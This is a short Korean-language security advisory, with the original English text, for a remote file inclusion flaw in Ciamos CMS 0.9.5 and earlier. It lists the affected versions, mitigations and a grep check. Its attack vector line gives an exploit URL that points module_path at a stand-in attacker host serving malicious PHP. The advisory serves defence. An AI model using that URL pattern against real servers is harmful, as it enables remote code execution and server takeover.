🇰🇷 한글 설명
Ciamos CMS 0.9.5 이하 버전의 modules/pms/index.php에서 module_path 파라미터의 검증 부재로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 PHP 파일을 원격 서버에 호스팅하고 해당 URL을 전달하여 웹서버 권한으로 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 Ciamos CMS에서 파일 경로를 지정할 때 외부 주소를 입력할 수 있는 결함이 있습니다. 공격자는 이를 악용하여 서버에서 자신의 코드를 실행하고 시스템 전체를 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the module_path parameter.
📍 영향받는 시스템
Ciamos CMS 0.9.5 이전 모든 버전
⚔️ 공격 벡터
http://target/modules/pms/index.php?module_path=http://attacker.com/malicious.php 형태의 RFI 공격
🛡️ 대응 방법
Ciamos CMS 최신 버전으로 업그레이드 또는 긴급 보안 패치 적용 및 입력값 필터링 강화
🔧 검증 코드
CMS 설치 경로에서 module_path 변수 사용 부분을 확인합니다. 값 검증 코드가 없으면 취약한 상태입니다.
grep -n 'module_path' /path/to/cms/modules/pms/index.php 2>/dev/null | head -5